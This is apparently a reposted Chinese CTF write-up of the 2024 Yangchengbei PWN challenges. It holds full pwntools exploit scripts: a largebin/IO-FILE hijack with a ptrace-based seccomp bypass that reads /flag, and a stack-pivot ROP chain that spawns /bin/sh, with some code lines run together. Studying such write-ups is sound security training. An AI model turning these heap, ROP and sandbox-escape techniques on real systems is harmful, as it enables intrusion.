2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析

2024-09-04 18:44

本文主要是介绍2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析

    • hard+sandbox:
        • ptrace 系统调用概述:
    • logger:
    • pstack:

[X] 🛰:ly3260344435
[X] 🐧:3260344435
[X] BiliBili:鱼影信息
[X] 公众号:鱼影安全
[X] CSDN:落寞的魚丶
[X] 知识星球:中职-高职-CTF竞赛
[X] 信息安全评估(高职)、中职网络安全、金砖比赛、世界技能大赛省选拔选拔赛、电子取证比赛,CTF培训等
欢迎师傅们交流学习,加我可以拉粉丝群~

hard+sandbox:

这题难点在于绕过沙盒的限制,但是这里openopenat都禁用,
并且固定执行环境,很难通过平替函数 或者篡改cs切换执行环境来执行open函数

在这里插入图片描述

发现大堆的申请限制+uaf漏洞 直接largebin attack+IO就能完成劫持rip

在这里插入图片描述

glibc2.36这里使用了一个magic_gadget来配合使用setcontext完成劫持

0x000000000005e5b0 : mov rdx, rbx ; call qword ptr [rax + 0x38]

这里大牛指导了我一下,使用ptracehook->seccomp

ptrace 系统调用概述:
int ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
//request:指定操作类型,如 PTRACE_ATTACH、PTRACE_DETACH、PTRACE_PEEKDATA 等。 
//PTRACE_ATTACH,用于将当前进程附加到另一个进程的调试会话中。 
//PTRACE_SETOPTIONS,用于设置附加的跟踪选项。 //PTRACE_CONT.用于继续执行之前被暂停的进程
//PTRACE_DETACH,用于从一个正在被调试的进程中分离(“脱离”)调试器,被调试进程将继续正常执行。 //pid:目标进程的进程 ID(PID)。
//addr 和 data:用于特定请求的额外数据。 //data:
//PTRACE_O_TRACESECCOMP:指定设置 seccomp 事件跟踪选项。

fork开启一个子进程 如果 pid 为 0

表示当前代码块是在子进程中执行的,否则是在父进程中执行的

然后使用ptrace附加选项(PTRACE_ATTACH)附加到子进程

调用 wait 函数等待子进程停止。此时子进程将会被暂停,父进程能够对其进行进一步操作

接下来对seccomp设置子进程的监控选项, PTRACE_O_TRACESECCOMP 使得父进程能够接收到 seccomp触发的信号。然后继续执行子进程 PTRACE_CONT

等待 seccomp 触发 wait(NULL); 父进程会在这里阻塞,直到接收到子进程的 seccomp 触发事件。

这个时候子进程会触发seccomp然后,在父进程中对他进行hook处理,完成绕过

在这里插入图片描述
只需要将C语言代码转换为汇编执行就行

from pwn import *
from ctypes import*
from LibcSearcher import*
import pwnlib.shellcraft as scu64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)FILENAME='../pwn5'
p=process(FILENAME)
elf=ELF(FILENAME)
ip='124.223.76.251'
port=9999
# p = remote(ip,port)libc=ELF('../libc.so.6')def command(option):
p.recvuntil(b'>')
p.sendline(bytes(str(option),'utf-8'))def create(idx,Size):
command(1)
p.recvuntil(b'Index')
p.sendline(bytes(str(idx),'utf-8'))
p.recvuntil(b'Size')
p.sendline(bytes(str(Size),'utf-8'))
def free(id):
command(2)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
command(3)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
p.recvuntil(b'Content')
p.send(Content)
def show(id):
command(4)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
context.arch='amd64'
create(0,0x500)
create(1,0x520)
create(2,0x510)
create(3,0x520)
free(2)
create(4,0x520)
show(2)
libc_add=u64_fix(p)
libcbase=libc_add-0x1f70f0
success('libcbase '+hex(libcbase))
edit(2,b'a'*(0x10-1)+b'A')
show(2)
p.recvuntil(b'A')
heap_add=u64_Nofix(p)
success('heap_add '+hex(heap_add))
edit(2,p64(libc_add)*2)IO_list_all=libcbase+0x1f7660
IO_wfile_jumps=libcbase+0x1f30a0
success('IO_wfile_jumps '+hex(IO_wfile_jumps))
setcontextadd=libcbase+libc.sym['setcontext']
ret=libcbase+0x00000000000233d1
#fake_IO
fakeIO_add=heap_add-0xa40
orw_add=fakeIO_add+0xe0+0x50A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add
gg=libcbase+0x000000000005e5b0
leave_ret=libcbase+0x0000000000050877
fake_IO=b''
fake_IO=fake_IO.ljust(0x18,b'\x00')
fake_IO+=p64(1) #_IO_write_ptr>_IO_write_base
fake_IO=fake_IO.ljust(0x68,b'\x00')
fake_IO+=p64(orw_add-0x8)#lock
fake_IO=fake_IO.ljust(0x78,b'\x00')
fake_IO+=p64(fakeIO_add)#lock
fake_IO=fake_IO.ljust(0x90,b'\x00')
fake_IO+=p64(A)# _wide_data=rdx
fake_IO+=p64(leave_ret)
fake_IO=fake_IO.ljust(0xc8,b'\x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+p64(0)+p64(setcontextadd+61)+b'\x00'*0x20
fake_IO+=p64(B)+p64(gg)mprotect=libcbase+libc.sym['mprotect']
rdi_ret=libcbase+0x0000000000023b65
rsi_ret=libcbase+0x00000000000251be
rdx_rbx_ret=libcbase+0x000000000008bcd9
NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17shellcode2 = f'''
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi,{PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10,{PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
js error/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
js error/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscallxor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi,{PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
jmp endchild_code:
{shellcraft.open('/flag')}
{shellcraft.sendfile(1,3,0,0x100)}
error:
/* exit */
xor rdi, rdi
mov rax, 60
syscall
end:
nop
'''
orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff))+p64(rsi_ret)+p64(0x5000)
orw+=p64(rdx_rbx_ret)+p64(7)*2+p64(mprotect)+p64(orw_add+0x48)
orw+=asm(shellcode2)payload=fake_IO+orw
edit(0,payload)
free(0)
edit(2,p64(heap_add)*2+p64(0)+p64(IO_list_all-0x20))
create(10,0x600)
command(5)p.interactive()

logger:

pstack:

在这里插入图片描述
直接溢出0x10字节但是没有地址,不能直接弹shell需要先泄露libc地址

在这里插入图片描述
可以看到整个ROP很有用,再次的read和leave;ret;可以刚好完成栈迁移,
因为第一次的溢出已经把rbp改成了bss段上面,然后再次的leave;ret;直接迁移过去就行

system执行的时候会大量push操作,会把栈抬高,需要迁移的bss段要在很下面,
不然会导致栈被抬高至不可写地址导致失败

from pwn import *
from ctypes import*
from LibcSearcher import*
u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)
FILENAME='../pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
# p = remote('3.1.19.2', 8888)
libc=ELF('../libc.so.6')
ret=0x0000000000400506
rdi_ret=0x0000000000400773
leak='puts'
leak_got=elf.got[leak]
puts_plt=elf.plt['puts']
read_plt=elf.plt['read']
main=0x400540
bss=0x601000+0x500
payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)
p.send(payload)
sleep(1)
payload=b'a'*(0x8)+p64(rdi_ret)+p64(leak_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(0x30,b'a')+p64(bss-0x30)
payload+=p64(0x00000000004006db)
p.send(payload)
leak_add=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
libcbase=leak_add-libc.symbols[leak]
system=libcbase+libc.symbols['system']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))
log.info('libcbase '+hex(libcbase))
bss=0x602000-0x50
payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)
p.send(payload)
sleep(1)
execve=0xebc88+libcbase
xor_edx=0x00000000000a8558+libcbase
payload=b'a'*(0x8)+p64(ret)+p64(rdi_ret)+p64(str_bin_sh)+p64(system)
payload=payload.ljust(0x30,b'a')+p64(bss-0x30)
payload+=p64(0x00000000004006db)
p.send(payload)
p.interactive()

这篇关于2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1136724

相关文章

Java的IO模型、Netty原理解析

《Java的IO模型、Netty原理解析》Java的I/O是以流的方式进行数据输入输出的,Java的类库涉及很多领域的IO内容:标准的输入输出,文件的操作、网络上的数据传输流、字符串流、对象流等,这篇... 目录1.什么是IO2.同步与异步、阻塞与非阻塞3.三种IO模型BIO(blocking I/O)NI

Python 中的异步与同步深度解析(实践记录)

《Python中的异步与同步深度解析(实践记录)》在Python编程世界里,异步和同步的概念是理解程序执行流程和性能优化的关键,这篇文章将带你深入了解它们的差异,以及阻塞和非阻塞的特性,同时通过实际... 目录python中的异步与同步:深度解析与实践异步与同步的定义异步同步阻塞与非阻塞的概念阻塞非阻塞同步

Redis中高并发读写性能的深度解析与优化

《Redis中高并发读写性能的深度解析与优化》Redis作为一款高性能的内存数据库,广泛应用于缓存、消息队列、实时统计等场景,本文将深入探讨Redis的读写并发能力,感兴趣的小伙伴可以了解下... 目录引言一、Redis 并发能力概述1.1 Redis 的读写性能1.2 影响 Redis 并发能力的因素二、

Spring MVC使用视图解析的问题解读

《SpringMVC使用视图解析的问题解读》:本文主要介绍SpringMVC使用视图解析的问题解读,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Spring MVC使用视图解析1. 会使用视图解析的情况2. 不会使用视图解析的情况总结Spring MVC使用视图

利用Python和C++解析gltf文件的示例详解

《利用Python和C++解析gltf文件的示例详解》gltf,全称是GLTransmissionFormat,是一种开放的3D文件格式,Python和C++是两个非常强大的工具,下面我们就来看看如何... 目录什么是gltf文件选择语言的原因安装必要的库解析gltf文件的步骤1. 读取gltf文件2. 提

Java中的runnable 和 callable 区别解析

《Java中的runnable和callable区别解析》Runnable接口用于定义不需要返回结果的任务,而Callable接口可以返回结果并抛出异常,通常与Future结合使用,Runnab... 目录1. Runnable接口1.1 Runnable的定义1.2 Runnable的特点1.3 使用Ru

使用EasyExcel实现简单的Excel表格解析操作

《使用EasyExcel实现简单的Excel表格解析操作》:本文主要介绍如何使用EasyExcel完成简单的表格解析操作,同时实现了大量数据情况下数据的分次批量入库,并记录每条数据入库的状态,感兴... 目录前言固定模板及表数据格式的解析实现Excel模板内容对应的实体类实现AnalysisEventLis

Java的volatile和sychronized底层实现原理解析

《Java的volatile和sychronized底层实现原理解析》文章详细介绍了Java中的synchronized和volatile关键字的底层实现原理,包括字节码层面、JVM层面的实现细节,以... 目录1. 概览2. Synchronized2.1 字节码层面2.2 JVM层面2.2.1 ente

Redis 内存淘汰策略深度解析(最新推荐)

《Redis内存淘汰策略深度解析(最新推荐)》本文详细探讨了Redis的内存淘汰策略、实现原理、适用场景及最佳实践,介绍了八种内存淘汰策略,包括noeviction、LRU、LFU、TTL、Rand... 目录一、 内存淘汰策略概述二、内存淘汰策略详解2.1 ​noeviction(不淘汰)​2.2 ​LR

IDEA与JDK、Maven安装配置完整步骤解析

《IDEA与JDK、Maven安装配置完整步骤解析》:本文主要介绍如何安装和配置IDE(IntelliJIDEA),包括IDE的安装步骤、JDK的下载与配置、Maven的安装与配置,以及如何在I... 目录1. IDE安装步骤2.配置操作步骤3. JDK配置下载JDK配置JDK环境变量4. Maven配置下